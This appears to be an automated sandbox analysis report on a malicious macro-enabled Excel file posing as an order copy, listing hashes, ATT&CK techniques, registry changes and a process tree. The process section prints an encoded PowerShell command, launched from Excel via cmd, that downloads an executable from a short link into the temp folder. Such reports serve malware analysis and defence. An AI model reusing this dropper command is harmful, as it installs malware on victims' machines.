7fe87c98f71cb7cfad4b7713284b7cfe1a0a5e059d5eb5e2c1b322426a6e52ff

General

Target

ORDER COPY-326.xlsm
Size

154KB
MD5

9a30f275af39b20ce59988b3c1724a68
SHA1

d35c17ba0c5f09cb212e0a50d117b91d278ec6b3
SHA256

7fe87c98f71cb7cfad4b7713284b7cfe1a0a5e059d5eb5e2c1b322426a6e52ff
SHA512

7898565b62505be720c625899fd3b9f1fb9338a8653066f2c9bf660a1f59fa16529ce4c8e6c1ee597fc3855992ca1e522dce536790c8268ca75684f79636031d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fxD7Hr0

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1896	1684	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1736 powershell.exe
8 1736 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1736	powershell.exe
8	1736	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1684 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

1684 EXCEL.EXE
1684 EXCEL.EXE
1684 EXCEL.EXE
1684 EXCEL.EXE
1684 EXCEL.EXE

pid	process
1684	EXCEL.EXE

pid	process
1736	powershell.exe
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

pid	process
1684	EXCEL.EXE
1684	EXCEL.EXE
1684	EXCEL.EXE
1684	EXCEL.EXE
1684	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 1684 wrote to memory of 1896	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1896	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1896	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1896	1684	EXCEL.EXE	cmd.exe
PID 1896 wrote to memory of 1720	1896	cmd.exe	cmd.exe
PID 1896 wrote to memory of 1720	1896	cmd.exe	cmd.exe
PID 1896 wrote to memory of 1720	1896	cmd.exe	cmd.exe
PID 1896 wrote to memory of 1720	1896	cmd.exe	cmd.exe
PID 1720 wrote to memory of 1736	1720	cmd.exe	powershell.exe
PID 1720 wrote to memory of 1736	1720	cmd.exe	powershell.exe
PID 1720 wrote to memory of 1736	1720	cmd.exe	powershell.exe
PID 1720 wrote to memory of 1736	1720	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\ORDER COPY-326.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
3⤵
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAdAB0AC4AbAB5AC8AZgB4AEQANwBIAHIAMAAnACwAKAAkAGUAbgB2ADoAVABlAG0AcAApACsAJwBcAGUAeABjAGUAbAAuAGUAeABlACcAKQA=
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1684-3-0x0000000071AC1000-0x0000000071AC3000-memory.dmp

Filesize
8KB

Download
memory/1684-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1684-2-0x000000002F071000-0x000000002F074000-memory.dmp

Filesize
12KB

Download
memory/1720-6-0x0000000000000000-mapping.dmp

Download
memory/1736-12-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1736-13-0x00000000023F2000-0x00000000023F3000-memory.dmp

Filesize
4KB

Download
memory/1736-8-0x00000000756A1000-0x00000000756A3000-memory.dmp

Filesize
8KB

Download
memory/1736-9-0x000000006C7F0000-0x000000006CEDE000-memory.dmp

Filesize
6.9MB

Download
memory/1736-10-0x0000000001E80000-0x0000000001E81000-memory.dmp

Filesize
4KB

Download
memory/1736-11-0x0000000004730000-0x0000000004731000-memory.dmp

Filesize
4KB

Download
memory/1736-33-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1736-7-0x0000000000000000-mapping.dmp

Download
memory/1736-14-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/1736-15-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1736-18-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/1736-23-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/1736-24-0x0000000006260000-0x0000000006261000-memory.dmp

Filesize
4KB

Download
memory/1736-31-0x0000000005820000-0x0000000005821000-memory.dmp

Filesize
4KB

Download
memory/1736-32-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/1896-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads